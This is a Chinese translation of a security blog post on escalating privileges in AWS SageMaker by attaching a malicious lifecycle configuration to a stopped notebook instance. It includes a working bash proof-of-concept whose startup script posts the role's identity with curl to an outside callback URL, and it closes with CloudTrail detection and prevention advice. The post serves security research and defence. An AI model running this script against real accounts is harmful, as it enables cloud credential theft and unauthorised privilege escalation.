文章总结: 这篇文章介绍了AWSSageMaker中的一个权限提升漏洞,攻击者可以通过停止Notebook实例、添加包含恶意代码的生命周期配置、然后重启实例来窃取该实例关联的执行角色权限。文章提供了详细的PoC代码,并讨论了这种权限提升模式在AWS服务中的普遍性。作者建议通过限制修改启动配置的权限、监控CloudTrail日志中的异常操作模式来预防和检测此类攻击,特别是关注StopNotebookInstance、UpdateNotebookInstance和StartNotebookInstance的操作序列。
综合评分: 91
文章分类: 漏洞分析,云安全,渗透测试,权限提升,安全建设
AWS SageMaker权限提升漏洞(附PoC)
Dubito
云原生安全指北
2025年12月2日 08:35
江苏
注:本文翻译自Plerion的文章《Privilege escalation with SageMaker and there’s more hiding in execution roles》[1],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
一、引言
大家最近怎么样啊,年轻人们?我虽然不年轻了,但知道你们是这么说话的,没开玩笑。
在2016年,那会儿腰还没伤、也不午睡,我在EC2里发现了一个有趣的权限提升路径[2]。方法很简单:如果攻击者能够对一个现有的EC2实例调用 ec2:StartInstances、ec2:StopInstances 以及 ec2:ModifyInstanceAttribute,他们就能获得该实例关联的实例配置文件(也就是执行角色 execution role)的权限。
原理非常简单。有一种通过管理API修改实例上代码的非侵入方式。你可以使用 ec2:ModifyInstanceAttribute 为实例设置的属性之一是 userData。这个属性很特殊,因为它保存着在实例首次启动时执行的代码。不过,如果你在里面加上 #cloud-boothook 指令,它就会在每次启动时都执行。
所以,一个聪明的攻击者可以先停止一个实例,把启动hook代码放进去,再塞一些窃取凭据的代码,然后重新启动实例。搞定!他们的代码就在实例的上下文中运行了,他们也就获取了该上下文的凭据。
那时候这感觉像个特例,而且从那以后我也没见过类似的。然而,过去几周我一直在研究服务关联角色[3](译文详见AWS服务关联角色的痛,希望你永远都不必懂)、执行角色和SageMaker,结果又碰到了一两个类似的例子。
二、SageMaker 权限提升
首先,这个SageMaker到底是个啥玩意儿?!我是说真的。我到现在也没完全搞明白。
这位曾经名为Amazon SageMaker的艺术家,现在有了更清晰、更直白的名字 Amazon SageMaker AI,被描述为“下一代 Amazon SageMaker,是您所有数据、分析和人工智能的中心”。
根据AWS服务参考,它有5项服务 (sagemaker、sagemaker-data-science-assistant、sagemaker-geospatial、sagemaker-mlflow、sagemaker-unified-studio-mcp);而根据其API模型,它又有不同的6项 (sagemaker、sagemaker-a2i-runtime、sagemaker-edge、sagemaker-geospatial、sagemaker-metrics)。
不过在网页控制台里,它是什么以及各个选项之间的区别就清楚多了:
而当你真正尝试去设置它时,又会碰到实例、Studios、RStudios、Domains、Canvases、合作伙伴应用、集群、作业、模型等等,不一而足。这是我见过最复杂、最像“我要把所有乐高都倒成一堆”的服务。
如果身份传播功能在你的12套乐高积木里都无法正常工作,那支持它又有什么意义呢?
不过,我跑题了。让我们回到权限提升这个话题。
SageMaker 的一个很酷的功能是允许你运行一个托管的 Jupyter Notebook 实例。市场团队解释说,Notebook 实例是一个用于“创建和共享计算文档”的 Web 应用程序。而我认为它是一种快速编写脏的、未经信任的实验性代码,然后按下运行按钮,看看会发生什么的方式。
本质上,SageMaker 实例几乎可以肯定是 EC2 实例,而 EC2 实例及其用户都需要相应的权限才能执行操作。Notebook 实例因为数据科学而更酷,因此需要更酷的权限[4]。
要是能像在 EC2 上那样,通过管理 API 在这些实例上运行代码就好了,不是吗?SageMaker 有 sagemaker:StopNotebookInstance 和 sagemaker:StartNotebookInstance 操作。没有 sagemaker:ModifyInstanceAttribute,但是有一个 sagemaker:UpdateNotebookInstance。这很类似,但它不接受 userData 参数。嗯……
为了找点乐子,你觉得这个 lifecycle-config-name 参数是什么,或者有什么作用?答案不是已经很明显了吗?
“生命周期配置是一个 shell 脚本的集合,当您创建或启动 Notebook 实例时就会运行。”
我想我们都同意,把 shell 脚本称为“配置”是让合规团队闭嘴的好方法。这些专业建议可不是免费的,所以别忘了申请演示 Plerion 云安全平台[5]。
把所有要素放在一起看,虽然名称不同,但成分俱全,权限提升的原理是相同的:
- 1. 停止一个现有的 Notebook 实例。
- 2. 创建一个包含窃取 AWS 凭据代码或其他任何代码的生命周期配置。
- 3. 用新的生命周期配置更新该 Notebook 实例。
- 4. 启动 Notebook 实例。
- 5. 等待凭据被窃取或特权操作被执行。
就是这样。API 操作已在另一个 IAM 主体的上下文中执行。这使得攻击者能够利用一个他们并未合法获得的角色来运行 API 操作。
以下是我在一个 SageMaker notebook 中编写的一些PoC代码:
#!/usr/bin/env bash
set -euo pipefail
REGION="[your-aws-region]"
NOTEBOOK_NAME="[your-notebook-name]"
LC_NAME="[your-lifecycle-config-name]"
CALLBACK_URL="[https://example.com/your-endpoint]"
echo "Checking if lifecycle config '$LC_NAME' exists..."
set +e
aws sagemaker describe-notebook-instance-lifecycle-config \
--region "$REGION" \
--notebook-instance-lifecycle-config-name "$LC_NAME" >/dev/null 2>&1
EXISTS=$?
set -e
if [ "$EXISTS" -eq 0 ]; then
echo "Lifecycle config '$LC_NAME' already exists. Skipping creation."
else
echo "Lifecycle config '$LC_NAME' does not exist. Creating now..."
# Build lifecycle script
LIFECYCLE_SCRIPT=$(cat <<EOF
#!/bin/bash
set -e
IDENTITY_JSON=\$(aws sts get-caller-identity --output json 2>/tmp/sts_err || true)
if [ -n "\$IDENTITY_JSON" ]; then
curl -sS -X POST \
-H "Content-Type: application/json" \
-d "\$IDENTITY_JSON" \
"$CALLBACK_URL" \
>/tmp/postbin_out 2>&1 || true
fi
EOF
)
# macOS base64
ENCODED_SCRIPT=$(printf '%s' "$LIFECYCLE_SCRIPT" | base64 | tr -d '\n')
aws sagemaker create-notebook-instance-lifecycle-config \
--region "$REGION" \
--notebook-instance-lifecycle-config-name "$LC_NAME" \
--on-start "[{\"Content\":\"$ENCODED_SCRIPT\"}]"
echo "Lifecycle config created."
fi
echo "Getting notebook status..."
STATUS=$(aws sagemaker describe-notebook-instance \
--region "$REGION" \
--notebook-instance-name "$NOTEBOOK_NAME" \
--query 'NotebookInstanceStatus' \
--output text)
echo "Current notebook status: $STATUS"
if [ "$STATUS" = "InService" ]; then
echo "Stopping notebook..."
aws sagemaker stop-notebook-instance \
--region "$REGION" \
--notebook-instance-name "$NOTEBOOK_NAME"
aws sagemaker wait notebook-instance-stopped \
--region "$REGION" \
--notebook-instance-name "$NOTEBOOK_NAME"
else
echo "Notebook not running, skipping stop."
fi
echo "Attaching lifecycle config..."
aws sagemaker update-notebook-instance \
--region "$REGION" \
--notebook-instance-name "$NOTEBOOK_NAME" \
--lifecycle-config-name "$LC_NAME"
echo "Waiting for notebook to become Stopped after update..."
aws sagemaker wait notebook-instance-stopped \
--region "$REGION" \
--notebook-instance-name "$NOTEBOOK_NAME"
echo "Starting notebook..."
aws sagemaker start-notebook-instance \
--region "$REGION" \
--notebook-instance-name "$NOTEBOOK_NAME"
echo "Done. Lifecycle config attached and notebook restarting."
三、利用执行角色的通用权限提升模式
我们能否将这个模式进一步推广,或者应用到其他地方呢?很可能可以。(我觉得它也对 SageMaker Studios 有效,嘿嘿)。
通常,在 AWS 中你不能随意传递不同的权限,除非获得授权。PassRole[6] 权限正是用于控制这种情况。这种权限提升方式之所以能成功,主要有两个原因:
- • PassRole 检查发生在配置时刻。也就是说,当你调用 API 为特定资源设置执行角色时,就是在那个时刻进行检查。仅此一次,过期不候。
- • 有时存在修改后续将要执行的操作的路径,尤其是在配置好执行角色之后,最常见的形式就是自定义代码。这就将两个权限检查与特权操作本身分离开来了。
如果你想成为一个聪明的小黑客,或许可以彻底搜索 AWS 中的所有 API 模型,找出哪些地方使用了执行角色,然后系统地检查它们是否符合上述第二个原因。你很快就会遇到 lambda:UpdateFunctionCode(用于在初始设置后更改函数代码)和 lambda:UpdateFunctionConfiguration(用于添加函数运行时自动执行的层)。Lucian Patian 最近发现[7],这个模式也适用于 cloudformation:CreateChangeSet 加上 cloudformation:ExecuteChangeSet 的组合。
享受狩猎的乐趣吧!
四、预防与检测
如果你想知道如何在真实环境中发现这类行为,其迹象是相当直接的。无论是 EC2 还是 SageMaker 版本,攻击者都不是凭空窃取凭据,他们是在修改一些通常不应被更改的东西:EC2 上的 userData 或 Notebook 的生命周期配置。在 CloudTrail 日志中,留意以下不寻常的操作模式:
- • 对于 EC2:
StopInstances→ModifyInstanceAttribute→StartInstances - • 对于 SageMaker:
StopNotebookInstance→UpdateNotebookInstance→StartNotebookInstance
尤其当这些操作是由通常不管理该特定计算资源的身份执行时,更应警惕。
从预防的角度看,修复方法也同样朴实无华:限制有权修改启动配置的人员,并对 ec2:ModifyInstanceAttribute、sagemaker:UpdateNotebookInstance 以及生命周期配置管理实施严格的权限边界。如果想更进一步,可以要求对任何“修改配置后启动”的模式进行审批或线下审查。简单来说:将任何更改启动代码的能力,等同于“以执行角色身份运行任意代码”的权限来对待,因为它本质上就是如此。
五、今天外面天气是不是很棒?
悉尼今天 30°C (86°F),完美的一天。所以我借此机会给 AWS 漏洞披露计划发邮件,告知他们这个权限提升的巨大隐患。以下是他们的回应:
(他们还未回复,但我感觉快了)
我不确定是否应该将此归类为一个漏洞。你觉得呢?这感觉更像是平台设计选择带来的一个不幸副作用。一些稍年长的朋友可能会称之为架构缺陷。无论如何,无需恐慌。在你构建自己的云上城堡时,留意这些权限组合即可。
顺便说一下,多年来在 AWS 权限提升方面已有大量研究工作。其中大部分(并非全部)已在 HackingTheCloud[8] 上整理或链接,如果你对这个话题感兴趣,可以去看看。
引用链接
[1] 《Privilege escalation with SageMaker and there’s more hiding in execution roles》: https://www.plerion.com/blog/privilege-escalation-with-sagemaker-and-execution-roles
[2] 权限提升路径: https://github.com/dagrz/aws_pwn/blob/master/elevation/bouncy_bouncy_cloudy_cloud.py
[3] 研究服务关联角色: https://www.plerion.com/blog/about-aws-service-linked-roles
[4] 更酷的权限: https://www.sentinelone.com/blog/understanding-threat-vectors-in-using-amazon-sagemaker-ai/
[5] 申请演示 Plerion 云安全平台: https://www.plerion.com/get-a-demo
[6] PassRole: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
[7] 最近发现: https://dev.to/aws-builders/cloudformation-change-set-privilege-escalation-18i6
[8] HackingTheCloud: https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/
交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云原生安全指北 Dubito《AWS SageMaker权限提升漏洞(附PoC)》